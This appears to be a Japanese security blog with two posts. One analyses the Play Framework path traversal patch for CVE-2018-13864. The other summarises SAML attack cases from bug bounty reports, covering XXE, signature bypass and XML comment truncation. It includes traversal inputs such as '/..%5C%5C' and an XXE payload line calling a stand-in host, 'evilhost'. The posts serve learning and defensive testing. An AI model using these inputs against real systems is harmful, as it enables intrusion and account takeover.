発表しました。(すっかり書くのを忘れていました。)
Webフレームワークの脆弱性パッチを読み、何が起きたのかをまとめたというやつです。
2019/09/04現在、報告されているPlayframeworkの脆弱性の全て (ver2系のみ)まとめました。 http://brutalgoblin.hatenablog.jp/entry/2019/08/20/133641
フレームワークの脆弱性対策コードを普段読まれる方は割と少ないと思うので自分も勉強がでら読みながら問題となった事象、対策のコードではどうなっているかといった事をまとめてみます。
※注意
脆弱性の対策コードを読む中で、中にはクリティカルな脆弱性かつ、PoCも公開されていないものにも関わらず、
調査中PoCが思いついてしまうかもしれません。
ただ、そういった場合は若干濁した書き方をするかもしれませんがご了承ください。
また、筆者の知識不足で誤った書き方をするかもしれませんが、その際はガンガン指摘を頂けますと嬉しいです。
初回はPlayframeworkの脆弱性について調べていきます。
(しばらくはPlayframeworkの脆弱性のみまとめていきます。)
今回はScalaの主要WebフレームワークであるPlayframeworkの脆弱性対策コードを読んでいきます。
Playframeworkのセキュリティアップデートは以下のURLにまとまっています。
こちらが今回の対象脆弱性です。 https://www.playframework.com/security/vulnerability/CVE-2018-13864-PathTraversal
CVSS: 6.7 影響バージョン: Play 2.6.12-2.6.15
最初のターゲットはパストラバーサルです。
最近のWebアプリエンジニアであれば「パストラバーサルなんてそんな簡単に起こらないでしょw」と笑っている事が多いかもしれません。
ただ、フレームワークやNginxやTomcatといった物でも、結構な頻度でパストラバーサルの脆弱性やバグハンティングのレポートが上がっています。
実際、nginxであれば末尾の /
が無かっただけでパストラバーサルが発生してしまったといったことが容易に起こります。
興味ある方はTomcatやNginxにおけるパストラバーサルの脆弱性について書かれている以下の資料を是非見てください。 台湾のバグハンター Orange TsaiさんのBlackHat発表資料です。メチャクチャ面白いです。 https://i.blackhat.com/us-18/Wed-August-8/us-18-Orange-Tsai-Breaking-Parser-Logic-Take-Your-Path-Normalization-Off-And-Pop-0days-Out-2.pdf
さて、本題です。
今回の脆弱性 CVE-2018-13864
の概要を読みますと、
Playframework のAssets(静的ファイルなどのディレクトリ)用の
Controllerにある、Windows限定のパストラバーサルの脆弱性になります。
早速コードを追ってみましょう。チェンジログは以下のURLです。
(チェンジログにはパストラバーサルの修正以外も若干入ってます。)
https://github.com/playframework/playframework/compare/2.6.15...2.6.16/
まず、以下のファイルを見てみましょう。
framework/src/play/src/main/scala/play/api/controllers/Assets.scala
private def fileLikeCanonicalPath(path: String): String = { @tailrec def normalizePathSegments(accumulated: Seq[String], remaining: List[String]): Seq[String] = { remaining match { case Nil => // Return the accumulated result accumulated case "." :: rest => // Ignore '.' path segments normalizePathSegments(accumulated, rest) case ".." :: rest => // Remove last segment (if possible) when '..' is encountered val newAccumulated = if (accumulated.isEmpty) Seq("..") else accumulated.dropRight(1) normalizePathSegments(newAccumulated, rest) case segment :: rest => // Append new segment normalizePathSegments(accumulated :+ segment, rest) } } val splitPath: List[String] = path.split('/').toList // 修正前 val splitPath: List[String] = path.split(filePathSeparators).toList // 修正後 val splitNormalized: Seq[String] = normalizePathSegments(Vector.empty, splitPath) splitNormalized.mkString("/") }
このファイルはAssetsファイル用のControllerClassで、おそらく今回の脆弱性の原因となったファイルだと思われます。
このファイルでは、URLのパスをsplitし、split結果をnormalizePathSegments
という関数に渡すことで、再帰的にパスを整形するという動きをしています。
注目すべきところは、コメントアウトにて追加した、修正前、修正後と記載されている部分になります。
修正前は /
というディレクトリの区切り文字によるsplitが行われていますが、
修正後は、 filePathSeparators
という、区切り文字の配列が設定されています。
filePathSeparators
自体は以下になります。
framework/src/play/src/main/scala/play/api/controllers/Assets.scala
// Ideally, this should be only '/' (which is a valid separator in Windows) and File.separatorChar, but we // need to keep '/', '\' and File.separatorChar so that we can test for Windows '\' separator when running // the tests on Linux/macOS. private val filePathSeparators = Array('/', '\\', File.separatorChar).distinct
コメントアウトや、 filePathSeparators
の値を見て分かる通り、
パスの指定方法には /
以外にも、 \\
, File.separatorChar
の3つが指定されています。
つまり、この脆弱性で突かれたのは、Windows環境におけるファイルパスの扱い( \\
, File.separatorChar
)の考慮が漏れていたということになります。
File.separatorCharは以下のURLに書かれている内容のように、UNIX環境とWindows環境におけるパスの違いを考慮に入れた文字が入るようです ( /
, \\
)。
https://docs.oracle.com/javase/jp/6/api/java/io/File.html#separatorChar
そのため、おそらく /../
と言ったパターンは考慮されていたものの、 /..%5C%5C
, /..\\
と言ったパターンの考慮が漏れていたということがわかります。
FWなどの複数環境で利用されることを考慮に入れた開発では開発環境毎の差を常に意識しなければならず、そういった環境でのセキュアコーディングの難しさがわかります。
今回は比較的小さな修正と小さい(?)問題なので簡単に終わりました。
Part2では 20171005-CorsVaryHeader
キャッシュポイズニングを発生してしまうような環境に一定の条件が重なるとなってしまうという問題の解消を行なった対応について書いてみようと思います。
https://www.playframework.com/security/vulnerability/20171005-CorsVaryHeader
SAML関連で診断をすることになったが、やんわりとした知識しかないため、 SAMLの攻撃事例を読んでそれをざっくりまとめる。
認証フローなどはネットに軽い奴がまとまっているのでそれらを参考に読むと良いのかも?
※2018/11/22 事例を1つ追加 ( XMLのコメントアウトを利用した認証バイパス
の章)
上記2つはどちらかというと認証に対する攻撃とは別なので、認証部分の攻撃については 後述する事例で見ていく。
SAML + HackerOne とかでググって引っかかった奴をすごくざっくりまとめる。 英語力は低いので読み間違いしてる可能性があるので参考程度に。
この報告ではSAMLで利用されるXMLを利用して XXL(XMLの外部エンティティ参照)の攻撃を行なっている。 予想した通り事例としてあった。 この報告ではPOSTのBody部分に以下の処理を行なったパラメータを送っている。 Raw XML => Base64 Encode => URL Encode
この処理部分では通常のSAMLで利用されるXMLに
<!DOCTYPE foo [ <!ENTITY % asd SYSTEM "http://evilhost"> %asd;]>
と言った外部エンティティを参照するペイロードが仕込まれている。
Uber Bug Bounty: Gaining Access To An Internal Chat Systemmishresec.wordpress.com
この報告ではSAMLの実装で署名の検証が行われているかをまずチェックしている。 つまり、署名のないXMLを送信するという検証方法。
本来であればここでSAML発行者の確認のため「署名が含まれていないためSAMLアサーションが無効」となることが期待される。 ただ、この例では302の応答をしており、結果バイパスが可能であったという例
/accounts/$account_id/sso/saml/finalize
という、SSOの認証フローの最後に呼ばれる処理(アプリへのアクセス許可を出す部分)に対して
SAML形式のカスタムPOSTを直接送ることで認証がバイパスできるという問題。
つまり、一連の認証認可フローをすっ飛ばしで最後の認証トークン払い出し部分を直接POSTしにいく感じ。
この問題はSAMLがX.509 (PKIの規格)を利用したidentity provider で構築されていないことによる問題 (と書いてあったがX.509周りが殆どと言っていいくらいわかっていないため内容をしっかり理解できていない。)
攻撃方法としては base64でエンコードしたアカウントIDとユーザメールをペイロードとした pocファイルをPost。
※2018/11/22 に追記
Blackhatの資料 https://data.hackinn.com/ppt/BlackHat-USA-2018/us-18-Ludwig-Identity-Theft-Attacks-On-SSO-Systems.pdf
色々なSAML認証用ライブラリに、脆弱性が複数あったという話。
Aユーザ用のSAMLのXMLを書き換えることで、Bのユーザでログインできてしまうという問題があった(であってる?)。
SAMLのXML言語実装では <!---->
といったコメントアウトは許可されているが、それを実装しているライブラリの中には、コメントアウトをtruncate するときの挙動が若干微妙だったりする物があり、そこを突いたという話。
例えば user-hogehoge@fugaa.com
に user-hogehoge@fugaa.com<!---->truncated
とやると、
コメントアウトから後の部分は無視される実装になっていたりすると言うもの。
これで、他人のXMLを利用してログインができてしまうといった攻撃に繋がる可能性があると言う話。
やはり攻撃的にはXXEなどの話がちょくちょくあった。 一方で認証のバイパスなどはあまり知識を持っていなかったため学びが多いかった。
テストをする際は認証フローを順番に試す他に、 単体レベルで試していく・攻撃していくと良いと感じた。 また、認証周りはフローをしっかり理解し、その上で署名などの検証不備などをしっかりと チェックしていく重要性が感じられる。 そのためにも認証自体を仕様レベルである程度でも把握しているとバグバウンティなどでは 効いてきそうに感じた。
間違いなどがあればご指摘いただけると助かります。